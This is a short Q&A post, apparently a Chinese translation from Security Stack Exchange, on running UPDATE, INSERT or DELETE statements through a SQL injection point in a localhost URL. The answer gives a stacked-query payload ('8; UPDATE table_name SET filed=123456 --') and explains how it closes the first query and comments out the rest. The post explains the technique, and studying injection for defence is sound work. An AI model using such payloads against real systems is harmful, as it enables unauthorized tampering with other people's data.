我有一个URL http://localhost/usernfo.php?id=8,可以在其上执行SQL注入。
在获得数据库结构之后,如何从此链接执行更新、插入或删除命令?
发布于 2015-07-30 13:28:54
假设应用程序使用id参数(在示例8中)来创建以下查询:
SELECT * FROM news WHERE id=8 and active=1如果参数id是可注入的,则可以例如在URL中而不是在8中输入以下内容:
8; UPDATE table_name SET filed=123456 --这将将第一个查询转换为:
SELECT * FROM news WHERE id=8; UPDATE table_name SET filed=123456 -- and active=1您正在关闭第一个查询,并且--您将注释掉第一个查询中的任何内容。
https://security.stackexchange.com/questions/95364
复制相似问题